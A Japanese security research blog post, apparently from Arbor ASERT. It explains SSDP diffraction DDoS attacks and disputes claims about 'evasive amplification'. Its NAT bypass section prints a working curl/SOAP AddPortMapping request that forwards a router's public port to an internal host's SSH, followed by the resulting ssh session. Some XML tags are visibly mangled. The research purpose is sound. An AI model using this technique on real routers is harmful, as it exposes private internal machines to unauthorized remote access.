SSDPディフラクション攻撃、UDPリフラクション攻撃、UPnP NATバイパスを正しく理解する

2018年5月22日 ローランド・ドビンズ ASERTプリンシパルエンジニア/マット・ビング ASERTセキュリティアナリスト


2015年からISPや企業のネットワークをターゲットにしてきたSSDPディフラクション攻撃

SSDP M-SEARCHの応答によるSSDPリフレクション/アンプリフィケーション攻撃を観測したのは2015年でした。それは通常のUDP1900番ポートからのものではなく、SSDPリフレクター/アンプとして利用されているCPEデバイス上の疑似ランダムのUDP送信元ポートからのもののようでした。
当初、この標準ポートではないSSDP攻撃の通信は、通常のUDP1900番ポートからの攻撃に混じっていました。しかし、数週間の間に、ほとんどすべてが疑似ランダムの送信元ポートからの攻撃になりました。これは、(個人的なボットネットでも、誰もが利用できるbooter/stresserなどのサービスでも)DDoS攻撃のインフラを構築する者が、SSDPリフレクター/アンプがこうしたふるまいをしていることに最初は気付いていなかったことを示しています。彼らは一旦、疑似ランダムの送信元ポートからの応答を生成するリフレクター/アンプがあることが分かると、彼らの攻撃ツールに個別のSSDPリフレクター/アンプを利用することにしました。
我々も最初は、攻撃者が疑似ランダムの送信元ポートからのSSDP攻撃をどのように作り出しているのか分かりませんでしたが、Arbor SP/TMSが検知・分類・解明に成功し、これらの「minute-0」攻撃を緩和できました。こうしたSSDPリフレクターが著名な「DD4BC(Distributed Denial of Service for Bitcoin)」に使われたことをうけて、我々はこのSSDPディフラクション(回折)攻撃がどのように作られるのかについての見解を、2015年に開かれたいくつかのカンファレンスで発表しました(PDFファイルの P.34-57参照)。
また、ディフラクション攻撃ができたとしても、攻撃者はCPE NATサービスの背後に位置するデバイスに直接アクセスすることもありえるのではないか、と考えました。そうしたことが起これば、企業内ネットワークのデバイスは不正侵入されて、とても深刻な影響をもたらすでしょう。
SSDPディフラクション攻撃は新しいDDoS攻撃だと言われていますが、すでに2015年には我々が検知・分類・解明に成功していました。また、我々が様々なカンファレンスでこれらの攻撃について説明していたので、世界で広く議論されてきたのです。

SSDPディフラクション攻撃はどのように作られるのか

ASERTのマット・ビングによる調査では、本稿執筆時点で最大200万のSSDPリフレクター/アンプがインターネット上にあり、そのうちの110万はSSDP M-SEARCHの応答を生じさせる、脆弱性のあるUPnPのオープンソースライブラリーを組み込んでいます。このSSDP M-SEARCHの応答は、SSDPリフレクション/アンプリフィケーション攻撃によるメッセージであり、通常のUDP1900番ポートからのものではなく疑似ランダムの一時的なUDPポートからのものです。2018年2月のNANOG(North American Network Operators Group)におけるマット・ビングのプレゼンテーションはここで参照できます。
ボットマスターやDDoS攻撃請負サイトの運用者は、望ましいふるまいをするSSDPリフレクター/アンプの比較的新しいリストを維持しているだけです。このプロセスは簡単に自動化できますので、彼らの管理負担はそれほど大きくありません。

いわゆる「イベイシブ(回避的)・アンプリフィケーション」について

SSDPリフラクション(屈折)DDoS攻撃が新しい脅威とみなされて騒ぎになっていますが、これまで述べてきたように、この攻撃は2015年から広く知られ、防御に成功しています。「イベイシブ・アンプリフィケーション」と名付けられたUDPリフレクション/アンプリフィケーションDDoS攻撃の新種は(「新しい」というのはやや過剰表現だと思いますが)、建前としては「新しい」SSDPディフラクション攻撃を生み出していた攻撃手法だと結論付けられました。もちろん、これは正しくありません。
結局のところ、UPnPコントロールプレーンをインターネットにさらされた一般のCPE SSDPリフレクター/アンプの数は実際にはとても少ないわけですが、これにより攻撃者が不正侵入したデバイスのNATルールをリマップできるようになる可能性があります。これらのSSDPリフレクター/アンプのNAT属性を操作することで、リフレクション/アンプリフィケーション通信を基準外の送信元ポートに任意にリマップさせかねません。例えば、DNSリフレクション/アンプリフィケーション攻撃はUDP1337番ポートか攻撃者が選択した他のUDP送信元ポートにリマップされるかもしれません。(これはイニシャルフラグメントに適用し、UDPの送信元ポート番号と宛先ポート番号を持ちます。これらの攻撃の非イニシャルフラグメントはポート番号を持ちません)
最大200万の悪意あるSSDPリフレクター/アンプのうち、こうした方法で操作される可能性があるものは最大3万3000、わずか1.65%しかありません。そして、リフレクター/アンプのNATルールのリマップは一つの固定された送信元ポートを他の固定された送信元ポートに単純にマップするので、SSDPディフラクション攻撃を起こすのが、攻撃者によるNATルールの操作ではなく、上記に挙げたような壊れたSSDPライブラリーであることは明らかです。
攻撃者が大量のUDPリフレクション/アンプリフィケーション攻撃を起こすのに活用する悪意あるUDPサービスやアプリケーションは、潜在的に何万も存在します。ごくわずかなSSDPリフレクター/アンプにおいてNATルールの権限を与えられていない操作を実行するのは、攻撃者にとって比較的難しいので、簡単に悪用できるUDPサービスを使います。このことは、DDoS脅威の状況全体にはあまり大きな影響はありません。
そして、Arbor SP/TMSのような最新のDDoSミティゲーションソリューションが、UDPリフレクション/アンプリフィケーション攻撃と同様に、理論的にはDDoS攻撃の亜種と考えられる攻撃を容易に検知・分類・解明・緩和できることから、これらの攻撃は「UDPリフラクション攻撃」と呼ぶのが相当と考えています。現実には最新のDDoS防御技術から逃れることはできないのです。

一方ではNATのバイパスが現実的に

我々が初めて顧客へのSSDPディフラクション攻撃を検知・緩和した2015年には、攻撃のトラフィックがどのように作られたのか正確には分かりませんでした。しかし、攻撃者がUPnP NATのルールをどうにかして操作し、自らを各々のCPE UPnPゲートウェイサービスに登録したUPnP機能対応デバイスやアプリケーションに不正侵入して破壊することが可能になるかもしれないという見解を持ちました。実際の攻撃手法について最初は間違った認識を持っていましたが、UPnP NATのバイパスという大きな分脈の中では我々の疑念は根拠の確かなものでした。
NATルールの操作を許してしまったSSDP実装のCPEデバイスの最大1.65%の脆弱性は、工場でのMiniUPnPに関する設定ミスによるものであることが分かっています。パブリックのIPアドレスから内部ネットワークのRFC1918アドレスのTCP/22にTCP/2222をマッピングすることはそれほど難しいことではありません。それによって、NATの背後に設置されたセキュアなLinuxマシンで動作しているsshにアクセスします。
我々が行ったテストのトポロジーは以下のとおりです。

Attacker (192.0.2.4) —> UPnP CPE NAT (172.16.145.136
public/192.168.1.1 internal) —> Victim host (192.168.1.200)

以下は不正にNATマッピングのルールを書き換えるために使用したコマンドです。

% curl -H ‘Content-Type: text/xml’ \
-H ‘SOAPAction: “urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping”‘ \
-d @addportmapping -X POST http://172.16.145.136:35221/WANIPCn.xml
% cat addportmapping
<?xml version=”1.0” ?>

    <s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”>
    <s:Bodyv<u:AddPortMapping xmlns:u=”urn:schemas-upnp-org:service:WANIPConnection:1″>
    <NewRemoteHost></NewRemoteHost>
    <NewExternalPort>2222</NewExternalPort>
    <NewProtocol>TCP</NewProtocol>
    <NewInternalPort>22</NewInternalPort>
    <NewInternalClient>192.168.1.200</NewInternalClient>
    <NewEnabled>1</NewEnabled>
    <NewPortMappingDescription>LOLOLOLOLOLOL</NewPortMappingDescription>
    <NewLeaseDuration>0</NewLeaseDuration>
    </u:AddPortMapping>v/s:Body>
    </s:Envelope>

このようにLinuxtestのTCP/2222は、インターネットにアクセスできないNAT化された標的となるホストのTCP/22に転送され、インターネット越しに悪用できるようになります。

% ssh -p 2222 roger@172.16.145.136 ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.200 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::20c:29ff:fe07:868e prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:07:86:8e txqueuelen 1000 (Ethernet)
RX packets 1316 bytes 192184 (192.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 408 bytes 43338 (43.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

「イベイシブ・アンプリフィケーション」は実際にはSSDPディフラクション攻撃の要因ではないですし、DDoS脅威の状況における重要な変化でもありません。しかし、インターネット越しのUPnP NATルールの不正操作は、潜在的に機密性や完全性に対する深刻な脅威になりうるということは事実です。

学び取った教訓

新しいDDoS攻撃とその対抗策を研究するASERTの研究員が、実際の顧客に対する大規模で複雑なDDoS攻撃の緩和もサポートするのが、当社の強みの一つです。ASERTには、インターネットセキュリティにおける実際の脅威とそれらの脅威に対抗する方法について、しっかりした実運用上の見識があります。特に、我々が注意を払って来た先行技術についての詳細な評価はもちろんのこと、数10年にわたって積み重ねてきたDDoS対策の専門性と経験によって、アーキテクチャーや運用に関する有効な助言を提供し、これから起こりうる新しい攻撃手法を詳しく調査しています。
企業においても研究機関においてもDDoSの研究者は、DDoSミティゲーションに従事するパートナーと協業することを強くお勧めします。それによって得られる運用上の経験は、新しい理論上のDDoSベクターの実現性や潜在的な影響を正確に調査するためにとても役立つからです。同様に、現実に起きているDDoS攻撃のメカニズムや手法の理解にも役立ちます。また、現時点におけるベストプラクティスや著名なDDoS攻撃ベクターに関連する多様な先行技術をよく理解することも大切です。NANOGLACNICRIPEAPRICOTAPNICSANOGAusNOGNZNOGなど、地域の業界カンファレンスに参加することもおすすめです。DDoS攻撃の手法や攻撃緩和テクニックに関する最新の情報が得られます。
本稿の執筆に協力してくれたSteinthor Bjarnason、Andrew Beard、Kaido Vahers、Spencer Ryanに感謝いたします。